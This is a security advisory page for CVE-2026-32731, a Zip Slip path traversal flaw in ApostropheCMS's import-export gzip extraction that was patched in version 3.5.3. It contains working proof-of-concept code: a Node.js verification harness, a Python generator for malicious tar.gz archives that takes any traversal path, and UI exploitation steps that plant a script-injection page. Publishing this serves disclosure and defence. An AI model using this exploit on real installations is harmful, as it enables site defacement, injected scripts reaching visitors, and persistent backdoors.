CVE-2026-32731: ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction

Published Mar 18, 2026
·
Updated

Reported: 2026-03-08 Status: patched and released in version 3.5.3 of @apostrophecms/import-export

---

Product

| Field | Value | |---|---| | Repository | apostrophecms/apostrophe (monorepo) | | Affected Package | @apostrophecms/import-export | | Affected File | packages/import-export/lib/formats/gzip.js | | Affected Function | extract(filepath, exportPath) — lines ~132–157 | | Minimum Required Permission | Global Content Modify (any editor-level user with import access) |

---

Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

js fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.

---

Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

- Any path the CMS process has permission to

2. Static Web Directory — Defacement & Malicious Asset Injection ApostropheCMS serves <project-root>/public/ via Express static middleware:

js // packages/apostrophe/modules/@apostrophecms/asset/index.js express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables: - Full site defacement - Serving phishing pages from the legitimate CMS domain - Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart) If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite Overwrite .env, app.config.js, database seed files, or any config file to: - Exfiltrate database credentials on next load - Redirect authentication to an attacker-controlled backend - Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service Overwrite any critical application file (package.json, nodemodules entries, etc.) with garbage data, rendering the application unbootable.

---

Required Permission

Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.

---

Proof of Concept

Two PoC artifacts are provided:

| File | Purpose | |---|---| | tmp-import-export-zip-slip-poc.js | Automated Node.js harness — verifies the write happens without a browser | | make-slip-tar.py | Attacker tool — generates a real .tar.gz for upload via the CMS web UI |

---

PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js)

js const fs = require('node:fs'); const fsp = require('node:fs/promises'); const path = require('node:path'); const os = require('node:os'); const zlib = require('node:zlib'); const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) { const pack = tar.pack(); const gzip = zlib.createGzip(); const out = fs.createWriteStream(archivePath);

const done = new Promise((resolve, reject) => { out.on('finish', resolve); out.on('error', reject); gzip.on('error', reject); pack.on('error', reject); });

pack.pipe(gzip).pipe(out);

pack.entry({ name: 'aposDocs.json' }, '[]'); pack.entry({ name: 'aposAttachments.json' }, '[]');

// Traversal payload pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNEDFROMTAR');

pack.finalize(); await done; }

(async () => { const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-')); const archivePath = path.join(base, 'evil-export.gz'); const exportPath = archivePath.replace(/\.gz$/, '');

await makeArchive(archivePath);

const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

// Ensure clean pre-state try { await fsp.unlink(expectedOutsideWrite); } catch () {}

await gzipFormat.input(archivePath);

const exists = fs.existsSync(expectedOutsideWrite); const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

console.log('EXPORTPATH:', exportPath); console.log('EXPECTEDOUTSIDEWRITE:', expectedOutsideWrite); console.log('ZIPSLIPWRITEHAPPENED:', exists); console.log('WRITTENCONTENT:', content.trim()); })(); Run: powershell node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed): EXPORTPATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export EXPECTEDOUTSIDEWRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt ZIPSLIPWRITEHAPPENED: true WRITTENCONTENT: PWNEDFROMTAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.

---

PoC 2 — Web UI Exploitation (make-slip-tar.py)

Script (make-slip-tar.py): python import tarfile, io, sys

if len(sys.argv) != 3: print("Usage: python make-slip-tar.py <payloadfile> <targetpath>") sys.exit(1)

payloadfile = sys.argv[1] targetpath = sys.argv[2] out = "evil-slip.tar.gz"

with open(payloadfile, "rb") as f: payload = f.read()

with tarfile.open(out, "w:gz") as t: docs = io.BytesIO(b"[]") info = tarfile.TarInfo("aposDocs.json") info.size = len(docs.getvalue()) t.addfile(info, docs)

atts = io.BytesIO(b"[]") info = tarfile.TarInfo("aposAttachments.json") info.size = len(atts.getvalue()) t.addfile(info, atts)

info = tarfile.TarInfo(targetpath) info.size = len(payload) t.addfile(info, io.BytesIO(payload))

print("created", out)

---

Steps to Reproduce (Web UI — Real Exploitation)

Step 1 — Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

bash echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html

Step 2 — Generate the malicious archive

Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed:

bash python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates evil-slip.tar.gz containing: - aposDocs.json — empty, required by the importer - aposAttachments.json — empty, required by the importer - ../../../../<project-root>/public/injected.html — the traversal payload

Step 3 — Upload via CMS Import UI

1. Log in to the CMS with any account that has Global Content Modify permission. 2. Navigate to Open Global Settings → More Options → Import. 3. Select evil-slip.tar.gz and click Import. 4. The CMS accepts the file and begins extraction — no error is shown.

Step 4 — Confirm the write

bash curl http://localhost:3000/injected.html

Expected response: <!-- injected by attacker --><script>alert('XSS')</script>

The file is now being served from the CMS's own domain to all visitors.

Video POC : https://drive.google.com/file/d/1bbuQnoJvxjMuvfjnstmTh07FB7VqGH/view?usp=sharing ---

Other sources

ApostropheCMS is an open-source content management framework. Prior to version 3.5.3 of @apostrophecms/import-export, The extract() function in gzip.js constructs file-write paths using fs.createWriteStream(path.join(exportPath, header.name)). path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened. This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem. Version 3.5.3 of @apostrophecms/import-export fixes the issue.

MITRE

Affected Software

2 affected componentsFixes available
npm/@apostrophecms/import-export<=3.5.2
3.5.3
apostrophecms Import-export Node.js<3.5.3

Event History

Mar 18, 2026
Advisory Published
via GitHub·07:49 PM
Data Sourced
via GitHub·07:49 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·10:03 PM
Data Sourced
via MITRE·10:03 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:17 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-32731?

CVE-2026-32731 is categorized as a critical vulnerability due to its potential for arbitrary file write via zip slip or path traversal.

2

How do I fix CVE-2026-32731?

To fix CVE-2026-32731, upgrade to version 3.5.3 of the @apostrophecms/import-export package.

3

What components are affected by CVE-2026-32731?

CVE-2026-32731 affects versions up to and including 3.5.2 of the @apostrophecms/import-export package.

4

What type of vulnerability is represented by CVE-2026-32731?

CVE-2026-32731 represents an Arbitrary File Write vulnerability that allows attackers to exploit zip slip or path traversal.

5

When was CVE-2026-32731 reported?

CVE-2026-32731 was reported on March 8, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203